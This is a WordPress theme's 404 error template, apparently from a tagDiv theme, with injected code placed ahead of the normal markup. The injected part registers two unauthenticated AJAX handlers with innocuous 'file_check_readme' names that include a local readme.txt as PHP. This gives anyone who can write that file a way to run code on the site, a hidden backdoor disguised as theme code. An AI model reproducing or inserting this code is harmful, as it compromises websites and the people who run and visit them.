if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php /* ---------------------------------------------------------------------------- the 404 template */ get_header(); ?> <div class="td-main-content-wrap"> <div class="td-container"> <div class="td-404-title"> <?php _etd('Ooops... Error 404', TD_THEME_NAME); ?> </div> <div class="td-404-sub-title"> <?php _etd('Sorry, but the page you are looking for doesn_t exist.', TD_THEME_NAME); ?> </div> <div class="td-404-sub-sub-title"> <a href="<?php echo esc_url(home_url( '/' )); ?>"><?php _etd('HOMEPAGE', TD_THEME_NAME); ?></a> </div> <h4 class="block-title"><span><?php echo __td('OUR LATEST POSTS', TD_THEME_NAME)?></span></h4> <?php $args = array( 'post_type'=> 'post', 'showposts' => 6 ); query_posts($args); locate_template('loop.php', true); wp_reset_query(); ?> </div> <!-- /.td-container --> </div> <!-- /.td-main-content-wrap --> <?php get_footer();